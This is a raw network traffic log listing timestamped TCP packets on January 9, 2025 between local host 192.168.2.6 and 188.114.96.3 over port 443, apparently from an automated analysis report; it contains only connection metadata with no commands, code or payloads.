Jan 9, 2025 09:31:21.707658052 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.707672119 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.761203051 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.761221886 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.761276960 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.761286974 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.761399984 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.761428118 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.761445045 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.761486053 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.761490107 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.761558056 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.761857986 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.761872053 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.761912107 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.761917114 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.761971951 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.768892050 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.768907070 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.768949032 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.768954039 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.768990040 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.769638062 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.769654036 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.769695044 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.769701004 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.769726992 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.769746065 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.770117044 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.770137072 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.770189047 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.770194054 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.770251989 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.793932915 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.793951988 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.794028044 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.794037104 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.794197083 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.794367075 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.794382095 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.794431925 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.794436932 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.794476986 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.795716047 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.795773029 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.848404884 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.848426104 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.848509073 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.848521948 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.848588943 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.848783016 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.848809004 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.848865986 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.848871946 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.848974943 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.855295897 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.855318069 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.855357885 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.855365038 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.855401039 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.855782032 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.855797052 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.855844975 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.855850935 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.855866909 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.855994940 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.856652021 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.856664896 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.856730938 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.856734991 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.856803894 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.880352020 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.880368948 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.880445004 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.880451918 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.880724907 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.880904913 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.880919933 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.880971909 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.880978107 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.881062031 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.882741928 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.882756948 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.882806063 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.882812023 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.882870913 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.935220003 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.935239077 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.935308933 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.935323000 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.935452938 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.935895920 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.935909986 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.935962915 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.935971975 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.936033964 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.942270041 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.942284107 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.942346096 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.942352057 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.942392111 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.942841053 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.942862034 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.942919970 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.942924976 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.942981958 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.943562031 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.943576097 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.943624020 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.943629026 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.943645000 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.943660021 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.943664074 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.943685055 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.943739891 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.967535019 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.967552900 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.967616081 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.967623949 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.967694044 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.968090057 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.968106031 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.968161106 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.968167067 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.968213081 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.969644070 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.969660044 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.969722033 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:21.969727993 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:21.969955921 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.022249937 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.022269964 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.022335052 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.022349119 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.022747040 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.022902966 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.022918940 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.022969961 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.022975922 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.023008108 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.029280901 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.029306889 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.029376030 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.029381037 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.029424906 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.029867887 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.029881001 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.029928923 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.029933929 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.030472994 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.030493021 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.030524969 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.030529976 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.030561924 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.030586958 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.054908991 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.054933071 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.054970980 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.054980040 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.054996967 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.055016041 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.055052042 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.055068970 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.055116892 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.055121899 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.055151939 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.055172920 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.056524038 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.056546926 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.056602001 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.056608915 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.056654930 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.109720945 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.109739065 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.109792948 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.109801054 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.109826088 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.109843969 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.110193968 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.110208988 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.110248089 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.110254049 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.110280991 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.110306025 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.116341114 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.116355896 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.116417885 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.116422892 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.116492987 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.117536068 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.117563963 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.117600918 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.117605925 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.117639065 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.117661953 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.118217945 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.118232965 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.118289948 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.118295908 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.118395090 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.141508102 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.141522884 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.141570091 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.141576052 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.141608000 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.142170906 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.142185926 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.142250061 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.142255068 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.142314911 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.143696070 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.143711090 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.143767118 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.143771887 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.143846989 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.196186066 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.196204901 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.196266890 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.196273088 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.196305990 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.196887970 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.196902990 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.196959972 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.196965933 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.197010040 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.203326941 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.203341961 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.203398943 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.203403950 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.203440905 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.204025984 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.204040051 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.204102993 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.204108000 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.204286098 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.204566956 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.204582930 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.204637051 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.204643011 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.205142975 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.228092909 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.228113890 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.228163958 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.228172064 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.228202105 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.228219986 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.228701115 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.228720903 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.228763103 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.228769064 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.228795052 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.228816986 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.230309963 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.230324030 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.230390072 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.230396032 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.230520964 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.283945084 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.283968925 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.284038067 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.284058094 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.284077883 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.284099102 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.290213108 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.290231943 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.290285110 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.290293932 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.290317059 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.290337086 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.290831089 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.290846109 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.290898085 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.290904045 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.290924072 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.290946960 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.291404009 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.291418076 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.291466951 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.291472912 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.292228937 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.292248011 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.292285919 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.292292118 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.292304039 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.292341948 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.315093040 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.315108061 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.315196037 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.315205097 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.315681934 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.315711021 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.315768003 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.315773010 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.315813065 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.315891027 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.317353964 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.317369938 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.317435980 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.317445040 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.317605972 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.370722055 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.370747089 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.370948076 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.370966911 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.371007919 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.377031088 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.377048016 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.377118111 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.377126932 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.377639055 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.377662897 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.377692938 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.377698898 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.377724886 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.377753973 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.378356934 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.378371954 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.378424883 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.378432989 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.378478050 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.401530027 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.401561022 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.401741028 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.401761055 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.401781082 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.401802063 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.401813030 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.401844025 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.405092955 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.405107975 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.405190945 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.405195951 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.456422091 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.458214045 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.458235979 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.458291054 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.458297014 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.458333969 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:22.458481073 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:22.458494902 CET	443	49723	188.114.96.3	192.168.2.6
